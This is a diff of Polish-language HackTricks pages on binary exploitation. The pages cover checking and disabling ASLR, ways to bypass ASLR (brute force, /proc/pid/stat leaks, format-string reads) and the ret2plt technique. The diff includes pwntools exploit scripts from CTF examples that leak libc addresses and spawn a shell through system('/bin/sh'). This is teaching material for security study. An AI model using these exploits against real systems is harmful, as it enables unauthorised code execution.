* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
|
||||
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika zabezpieczeń stosowana w systemach operacyjnych do **randomizacji adresów pamięci** używanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie trudniej jest atakującemu przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko niektórych typów exploitów, szczególnie przepełnień bufora.
|
||||
|
||||
### **Sprawdzanie stanu ASLR**
|
||||
### **Sprawdzanie statusu ASLR**
|
||||
|
||||
Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:
|
||||
Aby **sprawdzić** status ASLR w systemie Linux, możesz odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa typ stosowanej randomizacji ASLR:
|
||||
|
||||
* **0**: Brak randomizacji. Wszystko jest statyczne.
|
||||
* **1**: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
|
||||
* **2**: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez `brk()` jest randomizowana.
|
||||
|
||||
Możesz sprawdzić stan ASLR za pomocą następującej komendy:
|
||||
Możesz sprawdzić status ASLR za pomocą następującego polecenia:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Wyłączanie ASLR**
|
||||
|
||||
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
|
||||
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączanie ASLR jest zazwyczaj niezalecane poza scenariuszami testowymi lub debugowania. Oto jak możesz to wyłączyć:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -43,62 +44,62 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **Włączanie ASLR**
|
||||
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
|
||||
Aby **włączyć** ASLR, możesz zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Włączenie pełnej randomizacji można zrealizować za pomocą następującego polecenia:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Trwałość po ponownym uruchomieniu**
|
||||
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
|
||||
Zmiany wprowadzone za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby zmiana była trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Po edycji `/etc/sysctl.conf`, zastosuj zmiany za pomocą:
|
||||
Po edytowaniu `/etc/sysctl.conf`, zastosuj zmiany za pomocą:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.
|
||||
To zapewni, że ustawienia ASLR pozostaną po ponownych uruchomieniach.
|
||||
|
||||
## **Bypasses**
|
||||
## **Obejścia**
|
||||
|
||||
### Brutalne narzucanie 32-bitowe
|
||||
### 32-bitowe brute-forcing
|
||||
|
||||
PaX dzieli przestrzeń adresową procesu na **3 grupy**:
|
||||
|
||||
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
|
||||
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
|
||||
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana dla każdego procesu i dodawana do początkowych adresów.
|
||||
* **Pamięć** przydzielona przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwane `delta_mmap`.
|
||||
* **Stos** —> **24 bity**, określane jako `delta_stack`. Jednak efektywnie wykorzystuje **11 bitów** (od 10. do 20. bajtu włącznie), wyrównane do **16 bajtów** —> To skutkuje **524,288 możliwymi rzeczywistymi adresami stosu**.
|
||||
|
||||
Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na ominięcie ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
|
||||
Poprzednie dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne próby wykonania, aż exploit zakończy się sukcesem.
|
||||
|
||||
#### Pomysły na brutalne narzucanie:
|
||||
#### Pomysły na brute-force:
|
||||
|
||||
* Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić **duży ślizg NOP przed kodem powłoki**, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ **przeskoczy nad częścią ślizgu NOP**.
|
||||
* Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość **dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej**.
|
||||
* Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
|
||||
* Jeśli masz wystarczająco duży overflow, aby pomieścić **duży NOP sled przed shellcode**, możesz po prostu brute-forcować adresy na stosie, aż przepływ **przeskoczy nad jakąś częścią NOP sled**.
|
||||
* Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit można uruchomić lokalnie, jest możliwość **dodania NOP sled i shellcode w zmiennej środowiskowej**.
|
||||
* Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **brute-forcować adres funkcji `usleep` z `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer odpowiada o 10s dłużej**, znalazłeś adres tej funkcji.
|
||||
|
||||
{% hint style="success" %}
|
||||
W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
|
||||
{% endhint %}
|
||||
|
||||
### Lokalne informacje (`/proc/[pid]/stat`)
|
||||
### Informacje lokalne (`/proc/[pid]/stat`)
|
||||
|
||||
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
|
||||
|
||||
* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
|
||||
* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEXT** binarnego
|
||||
* **startstack**: Adres początku **stosu**
|
||||
* **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
|
||||
* **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
|
||||
* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
|
||||
* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
|
||||
* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie są **argumenty cli**.
|
||||
* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie są **zmienne środowiskowe**.
|
||||
|
||||
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
|
||||
Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny plik, który jest wykorzystywany, a ten plik binarny nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można skonstruować po przeczytaniu tego pliku**. Możliwe jest, aby atakujący **uzyskał kilka adresów z tego pliku i skonstruował od nich przesunięcia dla exploita**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
|
||||
|
@ -106,9 +107,9 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/
|
|||
|
||||
### Posiadanie wycieku
|
||||
|
||||
* **Wyzwaniem jest dostarczenie wycieku**
|
||||
* **Wyzwanie polega na podaniu wycieku**
|
||||
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia na jego podstawie (zakładając na przykład, że znasz dokładną wersję libc, która jest używana w systemie, który exploitujesz). Ten przykład exploita jest wyciągnięty z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -135,7 +136,7 @@ p.interactive()
|
|||
```
|
||||
* **ret2plt**
|
||||
|
||||
Wykorzystując przepełnienie bufora można wykorzystać **ret2plt** do wycieku adresu funkcji z biblioteki libc. Sprawdź:
|
||||
Wykorzystując przepełnienie bufora, możliwe byłoby wykorzystanie **ret2plt** do wyekstrahowania adresu funkcji z libc. Sprawdź:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
|
@ -143,7 +144,7 @@ Wykorzystując przepełnienie bufora można wykorzystać **ret2plt** do wycieku
|
|||
|
||||
* **Format Strings Arbitrary Read**
|
||||
|
||||
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na łańcuchy formatujące, można wyciekać adres funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
Podobnie jak w ret2plt, jeśli masz dowolne odczyty za pomocą podatności na format strings, możliwe jest wyekstrahowanie adresu **funkcji libc** z GOT. Następujący [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
@ -154,7 +155,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
|||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:
|
||||
Możesz znaleźć więcej informacji na temat Format Strings arbitrary read w:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -162,22 +163,23 @@ Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów
|
|||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
|
||||
Spróbuj obejść ASLR, wykorzystując adresy w stosie:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Ret2plt
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Celem tej techniki jest **wyciek adresu funkcji z PLT**, aby móc ominąć ASLR. Dzieje się tak dlatego, że jeśli na przykład wycieka adres funkcji `puts` z biblioteki libc, można **obliczyć bazę `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**.
|
||||
Celem tej techniki byłoby **wycieknięcie adresu z funkcji z PLT**, aby móc obejść ASLR. Dzieje się tak, ponieważ jeśli na przykład wycieknie adres funkcji `puts` z libc, można wtedy **obliczyć, gdzie znajduje się baza `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**.
|
||||
|
||||
Można to zrobić za pomocą ładunku `pwntools`, na przykład ([**stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
Można to zrobić za pomocą ładunku `pwntools`, takiego jak ([**stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
|
@ -37,15 +38,15 @@ elf.plt['puts'],
|
|||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Zauważ, jak **`puts`** (korzystając z adresu z PLT) jest wywoływany z adresem `puts` znajdującym się w `GOT`. Dzieje się tak, ponieważ w momencie, gdy `puts` drukuje wpis `GOT` puts, ten **wpis będzie zawierał adres `puts` w pamięci**.
|
||||
Zauważ, jak **`puts`** (używając adresu z PLT) jest wywoływane z adresem `puts` znajdującym się w GOT (Global Offset Table). Dzieje się tak, ponieważ w momencie, gdy `puts` drukuje wpis GOT dla `puts`, ten **wpis będzie zawierał dokładny adres `puts` w pamięci**.
|
||||
|
||||
Zauważ również, jak adres `main` jest używany w eksploacie, więc gdy `puts` zakończy swoje wykonanie, **binarny plik ponownie wywołuje `main` zamiast zakończyć działanie** (dzięki czemu wyciekły adres będzie nadal ważny).
|
||||
Zauważ również, jak adres `main` jest używany w exploicie, więc gdy `puts` kończy swoje wykonanie, **program wywołuje `main` ponownie zamiast kończyć działanie** (więc ujawniony adres będzie nadal ważny).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że aby to działało, **binarny plik nie może być skompilowany z opcją PIE** lub musisz **znaleźć wyciek, aby ominąć PIE** i poznać adresy `PLT`, `GOT` i `main`.
|
||||
Zauważ, że aby to zadziałało, **program nie może być skompilowany z PIE** lub musisz **znaleźć leak, aby obejść PIE**, aby znać adres PLT, GOT i `main`. W przeciwnym razie musisz najpierw obejść PIE.
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć [**pełny przykład tego bypassu tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). To był ostateczny exploit z tego przykładu:
|
||||
Możesz znaleźć [**pełny przykład tego obejścia tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). To był ostateczny exploit z tego przykładu:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -81,23 +82,24 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
## Inne przykłady i Referencje
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bity, włączone ASLR, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek jego wartości. Z canary tworzony jest ROP gadget do wywołania puts w celu wycieku adresu puts z GOT, a następnie ROP gadget do wywołania `system('/bin/sh')`.
|
||||
* 64 bity, ASLR włączone, ale bez PIE, pierwszym krokiem jest wypełnienie przepełnienia do bajtu 0x00 kanarka, aby następnie wywołać puts i wyciek. Z kanarkiem tworzony jest gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bity, włączone ASLR, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. ROP gadget do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie one gadget.
|
||||
* 64 bity, ASLR włączone, brak kanarka, przepełnienie stosu w main z funkcji podrzędnej. Gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie wywołanie jednego gadżetu.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,42 @@
|
|||
# Brak wykonania / NX
|
||||
# No-exec / NX
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia między obszarami pamięci przeznaczonymi do **kodu wykonywalnego** a tymi przeznaczonymi dla **danych**, takich jak **stos** i **sterta**. Podstawowym pomysłem jest zapobieżenie atakującemu wykonania złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując przepływ wykonania do niego.
|
||||
